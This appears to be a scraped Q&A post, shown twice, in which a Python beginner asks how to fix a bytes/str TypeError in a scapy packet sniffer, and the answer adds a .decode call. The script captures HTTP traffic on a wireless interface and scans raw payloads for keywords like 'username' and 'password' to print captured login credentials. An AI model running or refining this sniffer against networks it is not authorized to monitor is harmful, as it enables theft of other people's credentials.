如何解决错误只能concatenate str (not "bytes") to str
How to solve error can only concatenate str (not "bytes") to str
嘿,我需要帮助来解决这个错误。我尝试对第 24 行和关键字进行编码。但这会产生另一个错误......
,
#!/usr/bin/env python
import scapy.all as scapy
from scapy.layers import http
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packets)
def get_url(packet):
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
def get_login_info(packet):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
keywords = ["username", "user", "password", "pass", "login"]
for keyword in keywords:
if keyword in load:
return load
def process_sniffed_packets(packet):
if packet.haslayer(http.HTTPRequest):
url = get_url(packet)
print("[+] HTTP Request >>" + url)
login_info = get_login_info(packet)
if login_info:
print("\n\n[+] Possible username/password >" + login_info + "\n\n")
sniff("wlan0")
,
错误
File "packet_sniffer.py", line 32, in <module>
sniff("wlan0")
File "packet_sniffer.py", line 7, in sniff
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packets)
File "/usr/local/lib/python3.8/dist-packages/scapy-2.4.4.dev204-py3.8.egg/scapy/sendrecv.py", line 1058, in sniff
sniffer._run(*args, **kwargs)
File "/usr/local/lib/python3.8/dist-packages/scapy-2.4.4.dev204-py3.8.egg/scapy/sendrecv.py", line 1011, in _run
session.on_packet_received(p)
File "/usr/local/lib/python3.8/dist-packages/scapy-2.4.4.dev204-py3.8.egg/scapy/sessions.py", line 108, in on_packet_received
result = self.prn(pkt)
File "packet_sniffer.py", line 24, in process_sniffed_packets
print("[+] HTTP Request >>" + url)
TypeError: can only concatenate str (not "bytes") to str
想知道怎么解决吗!
我尝试了很多方法来弄清楚。我是 python 的初学者。我缺乏理解 encode/decode/ unicode.
替换
print("[+] HTTP Request >>" + url)
与
print("[+] HTTP Request >>" + url.decode("utf-8"))
这会将 url
转换为字符串。
嘿,我需要帮助来解决这个错误。我尝试对第 24 行和关键字进行编码。但这会产生另一个错误...... ,
#!/usr/bin/env python
import scapy.all as scapy
from scapy.layers import http
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packets)
def get_url(packet):
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
def get_login_info(packet):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
keywords = ["username", "user", "password", "pass", "login"]
for keyword in keywords:
if keyword in load:
return load
def process_sniffed_packets(packet):
if packet.haslayer(http.HTTPRequest):
url = get_url(packet)
print("[+] HTTP Request >>" + url)
login_info = get_login_info(packet)
if login_info:
print("\n\n[+] Possible username/password >" + login_info + "\n\n")
sniff("wlan0")
,
错误
File "packet_sniffer.py", line 32, in <module>
sniff("wlan0")
File "packet_sniffer.py", line 7, in sniff
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packets)
File "/usr/local/lib/python3.8/dist-packages/scapy-2.4.4.dev204-py3.8.egg/scapy/sendrecv.py", line 1058, in sniff
sniffer._run(*args, **kwargs)
File "/usr/local/lib/python3.8/dist-packages/scapy-2.4.4.dev204-py3.8.egg/scapy/sendrecv.py", line 1011, in _run
session.on_packet_received(p)
File "/usr/local/lib/python3.8/dist-packages/scapy-2.4.4.dev204-py3.8.egg/scapy/sessions.py", line 108, in on_packet_received
result = self.prn(pkt)
File "packet_sniffer.py", line 24, in process_sniffed_packets
print("[+] HTTP Request >>" + url)
TypeError: can only concatenate str (not "bytes") to str
想知道怎么解决吗! 我尝试了很多方法来弄清楚。我是 python 的初学者。我缺乏理解 encode/decode/ unicode.
替换
print("[+] HTTP Request >>" + url)
与
print("[+] HTTP Request >>" + url.decode("utf-8"))
这会将 url
转换为字符串。